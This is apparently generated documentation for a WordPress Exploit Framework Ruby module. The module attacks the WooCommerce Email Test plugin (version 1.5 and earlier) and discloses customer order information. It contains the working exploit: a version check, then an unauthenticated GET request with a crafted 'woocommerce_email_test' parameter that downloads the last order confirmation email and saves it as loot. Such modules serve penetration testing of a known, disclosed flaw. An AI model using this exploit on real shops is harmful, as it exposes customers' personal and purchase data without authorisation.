class Wpxf::Auxiliary::WoocommerceEmailTestOrderDisclosure

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::Module::new
# File lib/wpxf/modules/auxiliary/info/woocommerce_email_test_order_disclosure.rb, line 9
def initialize
  super

  update_info(
    name: 'WooCommerce Email Test <= 1.5 Order Information Disclosure',
    desc: %(
      Versions <= 1.5 of the WooCommerce Email Test plugin allow unauthenticated
      users to download a copy of the last order confirmation e-mail sent by the system.
    ),
    author: [
      'jansass GmbH', # Disclosure
      'rastating'     # WPXF module
    ],
    references: [
      ['WPVDB', '8689']
    ],
    date: 'Dec 08 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/info/woocommerce_email_test_order_disclosure.rb, line 29
def check
  check_plugin_version_from_readme('woocommerce-email-test', '1.6')
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/auxiliary/info/woocommerce_email_test_order_disclosure.rb, line 33
def run
  return false unless super

  emit_info 'Downloading order confirmation export...'
  res = execute_get_request(
    url: full_uri,
    params: {
      'woocommerce_email_test' => 'WC_Email_Customer_Completed_Order'
    }
  )

  if res.code != 200
    emit_error "Server responded with code #{res.code}"
    return false
  end

  loot = export_and_log_loot res.body, "The last WooCommerce order confirmation as of #{Time.now}", 'email', '.html'
  emit_success "Saved HTML e-mail to #{loot.path}"
  true
end